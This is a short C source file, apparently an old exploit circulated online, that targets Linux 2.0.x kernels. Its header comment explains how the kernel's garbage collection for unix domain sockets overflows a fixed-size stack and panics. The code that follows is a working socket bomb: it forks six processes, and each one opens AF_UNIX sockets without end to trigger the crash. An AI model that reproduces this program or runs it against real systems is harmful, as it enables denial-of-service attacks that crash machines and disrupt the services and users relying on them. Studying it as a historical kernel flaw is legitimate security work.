/* Linux kernel:
 * I found this on the net.. supposedly, this little jewel will cause
 * a kernel panic in the kernel's garbage collection routines.  I have
 * not tested this myself, but supposedly, it works up to 2.0.32 kernels.
 *                                                    Doctor Who
 *
 * From the original explanation:
 * Kernels 2.0.x do not sufficiently allocate space for the internal
 * stack used for garbage collection on unix domain sockets. [...]
 *
 * Because the garbage collection system defines a MAX_STACK depth of
 * 1000 for its internal use, it is relatively trivial to write a
 * user-space program which opens up a large number of unix domain
 * sockets, eventually causing a kernel panic in the garbage collection
 * routines (which test for this limit and panic if hit); on systems
 * which have NR_FILE (or /proc/sys/kernel/file-max) set to a value
 * larger than 1024 or so.  The solution is slightly more complicated
 * than simply increasing MAX_STACK, due to the fact that a single page
 * is allocated for the stack, and given an i386 architecture, this
 * can only hold 1024 entries.
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>

void bomb()
{
     while(1) {
	  while(socket(AF_UNIX,SOCK_STREAM,0) != -1) {
	       sleep(5);
	  }
     }
}

int main()
{
     int i;

     printf("forking 6 unix socket bomb processes.\n");
     fflush(stdout);

     for (i=0; i<6; i++)
	  if (fork() == 0) bomb();

     bomb();
     return(0);

}